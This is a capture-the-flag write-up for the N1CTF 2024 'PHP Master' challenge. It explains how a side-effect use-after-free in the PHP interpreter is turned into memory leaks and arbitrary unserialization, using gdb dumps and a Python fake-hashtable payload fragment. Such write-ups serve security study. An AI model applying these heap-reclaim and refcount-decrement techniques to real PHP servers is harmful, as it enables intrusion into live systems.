Save Me! Web Master: Pwn N1CTF 2024 PHP Master

PHP Master Writeup

How to debug the challenge?

There are plenty of user functions in the interpreter, those mathematic functions can be very useful since the paramters are relatively simpler than other functions.

Let’s take zif_tan as an example

1
2
3
4
5
6
7
8
9
PHP_FUNCTION(tan)
{
double num;

ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_DOUBLE(num)
ZEND_PARSE_PARAMETERS_END();
RETURN_DOUBLE(tan(num));
}

and the corresponding assembly code

1
2
3
  0x55fe29015ec0 <zif_tan+0010>   jne    0x55fe28e1698c <zif_tan.cold>
→ 0x55fe29015ec6 <zif_tan+0016> cmp BYTE PTR [rdi+0x58], 0x5
0x55fe29015eca <zif_tan+001a> mov rbp, rsi

the $rdi+0x50 points to the zval structure.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
(gdb) p *(*(zval *)($rdi+0x50)).value.arr
$28 = {
gc = {
refcount = 0x2,
u = {
type_info = 0x7
}
},
u = {
v = {
flags = 0x10,
_unused = 0x0,
nIteratorsCount = 0x0,
_unused2 = 0x0
},
flags = 0x10
},
nTableMask = 0xfffffff0,
{
arHash = 0x7fc00d46f980,
arData = 0x7fc00d46f980,
arPacked = 0x7fc00d46f980
},
nNumUsed = 0x8,
nNumOfElements = 0x8,
nTableSize = 0x8,
nInternalPointer = 0x0,
nNextFreeElement = 0x8,
pDestructor = 0x55fe290d0780 <zval_ptr_dtor>
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
(gdb) p *(*(zval *)($rdi+0x50)).value.arr->arData
$29 = {
val = {
value = {
lval = 0x7fc00d4aa8c0,
dval = 6.9397860522723038e-310,
counted = 0x7fc00d4aa8c0,
str = 0x7fc00d4aa8c0,
arr = 0x7fc00d4aa8c0,
obj = 0x7fc00d4aa8c0,
res = 0x7fc00d4aa8c0,
ref = 0x7fc00d4aa8c0,
ast = 0x7fc00d4aa8c0,
zv = 0x7fc00d4aa8c0,
ptr = 0x7fc00d4aa8c0,
ce = 0x7fc00d4aa8c0,
func = 0x7fc00d4aa8c0,
ww = {
w1 = 0xd4aa8c0,
w2 = 0x7fc0
}
},
u1 = {
type_info = 0x106,
v = {
type = 0x6,
type_flags = 0x1,
u = {
extra = 0x0
}
}
},
u2 = {
next = 0xffffffff,
cache_slot = 0xffffffff,
opline_num = 0xffffffff,
lineno = 0xffffffff,
num_args = 0xffffffff,
fe_pos = 0xffffffff,
fe_iter_idx = 0xffffffff,
guard = 0xffffffff,
constant_flags = 0xffffffff,
extra = 0xffffffff
}
},
h = 0x0,
key = 0x0
}

(gdb) p *(*(zval *)($rdi+0x50)).value.arr->arPacked
$148 = {
value = {
lval = 0x7fc00d4aa8c0,
dval = 6.9397860522723038e-310,
counted = 0x7fc00d4aa8c0,
str = 0x7fc00d4aa8c0,
arr = 0x7fc00d4aa8c0,
obj = 0x7fc00d4aa8c0,
res = 0x7fc00d4aa8c0,
ref = 0x7fc00d4aa8c0,
ast = 0x7fc00d4aa8c0,
zv = 0x7fc00d4aa8c0,
ptr = 0x7fc00d4aa8c0,
ce = 0x7fc00d4aa8c0,
func = 0x7fc00d4aa8c0,
ww = {
w1 = 0xd4aa8c0,
w2 = 0x7fc0
}
},
u1 = {
type_info = 0x106,
v = {
type = 0x6,
type_flags = 0x1,
u = {
extra = 0x0
}
}
},
u2 = {
next = 0xffffffff,
cache_slot = 0xffffffff,
opline_num = 0xffffffff,
lineno = 0xffffffff,
num_args = 0xffffffff,
fe_pos = 0xffffffff,
fe_iter_idx = 0xffffffff,
guard = 0xffffffff,
constant_flags = 0xffffffff,
extra = 0xffffffff
}
}

Vulnerability?

The vulnerability is rooted in the implemenetation of PHP interpreter https://github.com/php/php-src/issues/13754. Side effect bug is notorius in interpreter of various languages. When $this->prev_data is assigned to $this->data, the reference count of $this->data will be decreased and the object will be released. Meanwhile, in DataForm::get() and DataForm::append(), $this->data has been fetched already which turn this typical side effect problem into a UaF vulnerability.

Control the hash table

The memory layout of hash table is well documented in PHP source code as below

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
* HashTable Data Layout
* =====================
*
* +=============================+
* | HT_HASH(ht, ht->nTableMask) | +=============================+
* | ... | | HT_INVALID_IDX |
* | HT_HASH(ht, -1) | | HT_INVALID_IDX |
* +-----------------------------+ +-----------------------------+
* ht->arData ---> | Bucket[0] | ht->arPacked ---> | ZVAL[0] |
* | ... | | ... |
* | Bucket[ht->nTableSize-1] | | ZVAL[ht->nTableSize-1] |
* +=============================+ +=============================+
*/

So, for a hash table which has nTableMask = 0xfffffff0, there will be 16 HT_HASH entries with 4 * 16 bytes.
And for a hash table with 8 elements, there will be 8 Bucket entries with 32 * 8 bytes. So to reclaim the UaF’ed arData, we need to allocate 320 bytes.

Note that the data of zend_string is stored inline. According to the source code of zend_string allocation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static zend_always_inline zend_string *zend_string_alloc(size_t len, bool persistent)
{
zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);

GC_SET_REFCOUNT(ret, 1);
GC_TYPE_INFO(ret) = GC_STRING | ((persistent ? IS_STR_PERSISTENT : 0) << GC_FLAGS_SHIFT);
ZSTR_H(ret) = 0;
ZSTR_LEN(ret) = len;
return ret;
}

#define ZEND_MM_ALIGNMENT_MASK ~(ZEND_MM_ALIGNMENT - 1)
#define ZEND_MM_ALIGNED_SIZE(size) (((size) + ZEND_MM_ALIGNMENT - 1) & ZEND_MM_ALIGNMENT_MASK)

#define _ZSTR_HEADER_SIZE XtOffsetOf(zend_string, val)
#define _ZSTR_STRUCT_SIZE(len) (_ZSTR_HEADER_SIZE + len + 1)

Our payload should be 320 - 0x18 - 0x1 bytes.

1
2
3
4
5
6
7
8
zend_string_header = p32(0x1) + p32(0x5) + p64(0x00c0ffee00c0ffee) + p64(0x100)
fake_arData = zend_string_header
fake_arData += (16 * 4 - len(zend_string_header)) * b'\xff'
fake_arData += fake_bucket(0xaaaabbbbccccdddd, 5, 0, 0xaabbccdd, 0) * 8

insert(0, fake_arData[0x18:-1]) # 0x18 is the size of zend_string header,
# -1 to remove the last byte so we can have
# _ZSTR_STRUCT_SIZE(len) == 0x140-0x18

Now we can successfully reclaim the memory and craft fake Bucket structure.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
(gdb) p ((Bucket *)0x7fc00d46f980)[5]
$211 = {
val = {
value = {
lval = 0xaaaabbbbccccdddd,
dval = -3.7299638781336413e-103,
counted = 0xaaaabbbbccccdddd,
str = 0xaaaabbbbccccdddd,
arr = 0xaaaabbbbccccdddd,
obj = 0xaaaabbbbccccdddd,
res = 0xaaaabbbbccccdddd,
ref = 0xaaaabbbbccccdddd,
ast = 0xaaaabbbbccccdddd,
zv = 0xaaaabbbbccccdddd,
ptr = 0xaaaabbbbccccdddd,
ce = 0xaaaabbbbccccdddd,
func = 0xaaaabbbbccccdddd,
ww = {
w1 = 0xccccdddd,
w2 = 0xaaaabbbb
}
},
u1 = {
type_info = 0x5,
v = {
type = 0x5,
type_flags = 0x0,
u = {
extra = 0x0
}
}
},
u2 = {
next = 0x0,
cache_slot = 0x0,
opline_num = 0x0,
lineno = 0x0,
num_args = 0x0,
fe_pos = 0x0,
fe_iter_idx = 0x0,
guard = 0x0,
constant_flags = 0x0,
extra = 0x0
}
},
h = 0x5,
key = 0x0
}

Leak something first

image-leak-with-uaf

One punch, leak more

The vulnerability actually gave us an arbitrary ref_cnt-- primitive which can be applied to any int. What if we target the $result array?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) x/32xg $rdi
0x7ffff545ab08: 0x00007ffff5470200 0x0000000000000106 <--- zval at $result[0]
0x7ffff545ab18: 0x00007ffff547e540 0x00007fff00000106
0x7ffff545ab28: 0x8000d0b1d3799980 0x0000000000000007
0x7ffff545ab38: 0x00746e65746e6f63 0x00007ffff545abe0
0x7ffff545ab48: 0x0000000000000001 0x0000000000000000
0x7ffff545ab58: 0x0000000000000020 0xeeeeeeeeeeeeeeee
0x7ffff545ab68: 0x00007ffff545ab08 0xffffffff00000307
0x7ffff545ab78: 0x0000000000000000 0x0000000000000000
0x7ffff545ab88: 0x00007ffff5470210 0xffffffff00000307
0x7ffff545ab98: 0x0000000000000000 0x0000000000000000
0x7ffff545aba8: 0x00007ffff5470210 0xffffffff00000307
0x7ffff545abb8: 0x0000000000000000 0x0000000000000000
0x7ffff545abc8: 0x00007ffff5470210 0xffffffff00000307
0x7ffff545abd8: 0x0000005453000000 0x00007ffff545ac80
0x7ffff545abe8: 0x8000d0b1d3799980 0x0000000000000007
0x7ffff545abf8: 0x00746e65746e6f63 0x00007ffff545a8c0

zend_string is not a null-terminated string structure, instead, it contains a length field.

1
2
3
4
5
6
7

struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};

If we subtract 1 from the value.str pointer in zval, we can have a 1 byte shift from the actually string object which means the length will be multiplied by 16 and we will be able to read a lot of data.

Exploit

A failure

We can leak address of zend heap, glibc heap, and, the base address of php-fpm with the ref_cnt-- primitive. An intuitive approach is manipulating some function pointer to get arbitrary code execution in the context of php-fpm worker. But this is really difficult to achieve precisely. The php-fpm main process will fork several worker processes and since we can only substract 1 from a given address, it will be hard to precisely control the pointer since we have no idea about which worker is handling our request right now (well, as least when I wrote this down).

Web master came to rescue

HTTP is a status less protocol, php can store the session data in $_SESSION hash table. The DataForm object will be serialized to a zend_string after handling the request. With our ref_cnt-- primitive we can release this string and reclaim the memory with our callback string! That gives us an arbitrary unserialization primitive.

image-uaf-session-data